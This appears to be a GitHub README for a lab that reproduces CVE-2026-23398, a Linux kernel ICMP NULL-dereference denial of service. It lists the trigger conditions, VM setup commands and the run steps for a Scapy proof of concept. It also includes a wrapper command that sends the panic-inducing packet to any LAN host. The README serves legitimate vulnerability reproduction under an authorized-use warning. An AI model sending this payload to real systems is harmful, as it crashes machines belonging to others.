
Reproducible lab for CVE-2026-23398, a Linux kernel NULL dereference in icmp_tag_validation() triggered by ICMP Fragmentation Needed packets, causing a denial of service. Includes QEMU VM setup, Scapy PoC, and scripts for testing patched and vulnerable ke
ip_no_pmtu_disc=3)Reproducible lab for the Linux kernel bug in icmp_tag_validation() (NULL dereference when net.ipv4.ip_no_pmtu_disc = 3 and a Fragmentation Needed ICMP arrives whose quoted inner IPv4 header uses a protocol number with no handler in inet_protos[]).
Authorized use only: systems you own or have explicit written permission to test. Impact is denial of service (kernel panic).
| Component | Purpose |
|---|
QEMU (qemu-system-x86_64, qemu-img) | Victim VM |
cloud-image-utils (cloud-localds), wget, genisoimage | Cloud-init and image download |
| Docker + Docker Compose | ICMP sender from the host (host network mode) |
| OpenSSH client | SSH automation |
SSH key in ~/.ssh/id_ed25519.pub or id_rsa.pub, or sshpass | Guest login without typing password (keys recommended) |
| sudo | TAP mode only (ICMP from host to the VM’s fixed IP) |
Python 3 and Scapy on the host are only needed if you do not use Docker for remote payloads.
├── send_frag_needed.py # Scapy PoC (ICMP 3,4 + inner IP with uncommon proto)
├── send-payload-to-host.sh # Send payload to an IP/hostname on your network
├── docker-compose.yml # “sender” service (host network + CAP_NET_RAW)
├── Dockerfile
├── vm/ # Disks, cloud-init seeds, QEMU serial logs
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # DHCP seed (usernet mode)
├── build-seed.sh # Static 192.168.76.2 seed (TAP mode)
├── vm-start-usernet.sh # QEMU + user networking (SSH port 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP (after tap-up.sh)
├── tap-up.sh / tap-down.sh # TAP interface on host (sudo)
├── run-lab-usernet.sh # Full flow: image + VM + Scapy on guest (recent kernel)
├── run-lab.sh # TAP flow + docker sender → 192.168.76.2
├── install-vulnerable-mainline.sh # Unpatched mainline 6.12 + veth PoC (panic)
└── poc-veth-netns.sh # Run *inside* the guest (veth + netns)
QEMU user networking does not reliably deliver host-originated ICMP to the guest. The automated flow installs Scapy on the VM and runs the script there. A current Ubuntu kernel is usually patched: you will see “Sent 1 packets” but no panic.
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# First run: download Ubuntu Noble cloud image, overlay, seed, start QEMU, SSH :2222, apt, PoC
./scripts/run-lab-usernet.sh
ssh -p 2222 [email protected] (password lablab if you rely on password auth)../scripts/vm-stop-usernet.shvm/serial-usernet.logThe CVE fix landed in March 2026. An older mainline build (e.g. 6.12.0 from 2024-11) does not include that fix. The script installs those .deb packages in the VM, reboots, and runs the PoC using veth + a network namespace so ICMP follows a real ingress path (sending only to the guest’s own loopback/interface IP is not sufficient).
Warning: this typically ends in a kernel panic; SSH stops responding.
# usernet VM running (or after run-lab-usernet has created it once)
./scripts/vm-start-usernet.sh # if not already running
./scripts/install-vulnerable-mainline.sh
| Signal | Panic did happen (expected on vulnerable 6.12) | Panic did not happen |
|---|---|---|
| SSH right after “Running PoC …” | Hangs or Connection timed out / Connection reset | Session still works; you get a shell |
send_frag_needed.py output | You should see . Sent 1 packets. before SSH dies (often truncated if the link drops immediately) | Install Scapy: pip install scapy → Scapy was missing on the guest; the ICMP was never sent. Re-run install-vulnerable-mainline.sh (it installs python3-scapy) or run sudo apt install -y python3-scapy on the VM and run the PoC again |
| Serial log | tail -f vm/serial-usernet.log shows Kernel panic, icmp_unreach, CR2: 0000000000000010, etc. | No panic lines; guest keeps running |
| QEMU process | Still running but guest OS is dead until reboot | Guest still responds on port 2222 |
Fresh disk note: If you only run prepare-disk.sh + vm-start-usernet.sh (not run-lab-usernet.sh), the guest may not have python3-scapy until install-vulnerable-mainline.sh installs it (or you install it manually).
After a panic — clean reset:
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# optional: reinstall packages / rerun install-vulnerable-mainline.sh
The guest uses 192.168.76.2 and the host 192.168.76.1 on the TAP. ICMP behaves like on a real LAN.
./scripts/tap-up.sh # sudo: creates icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh # static addressing in cloud-init
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# On the VM: sysctl -w net.ipv4.ip_no_pmtu_disc=3 and a vulnerable kernel if you want panic
docker compose build
docker compose run --rm sender 192.168.76.2
./scripts/run-lab.sh chains part of this (requires TAP + Docker).
Convenience wrapper (resolves hostname → IPv4, prefers Docker, otherwise sudo + Python):
chmod +x send-payload-to-host.sh
docker compose build # once
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
Without Docker:
sudo pip install scapy # if needed
sudo ./send-payload-to-host.sh 192.168.1.50
Target conditions that matter for this CVE:
net.ipv4.ip_no_pmtu_disc = 3 (hardened PMTU mode).If the kernel is patched or sysctl is not 3, you will not see a panic; the packet may still be transmitted on the wire.
| Variable | Description |
|---|---|
ICMP_LAB_TAP | TAP device name (default icmp-lab-tap0) |
ICMP_LAB_HOST_IP | Host address on TAP (default 192.168.76.1/24) |
ICMP_LAB_SSH_PORT | usernet SSH port (default 2222) |
ICMP_LAB_SSH_HOST | SSH host (default 127.0.0.1) |
icmp: fix NULL pointer dereference in icmp_tag_validation() (commit 614aefe56af8e on mainline)3: commit 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)| Goal | Command |
|---|---|
| First-time usernet lab | ./scripts/run-lab-usernet.sh |
| Start / stop usernet VM | ./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh |
| Vulnerable kernel + PoC (panic) | ./scripts/install-vulnerable-mainline.sh |
| Reset disk after panic | rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh |
| Payload to LAN IP/host | ./send-payload-to-host.sh <IP|hostname> |
| Build Docker sender image | docker compose build |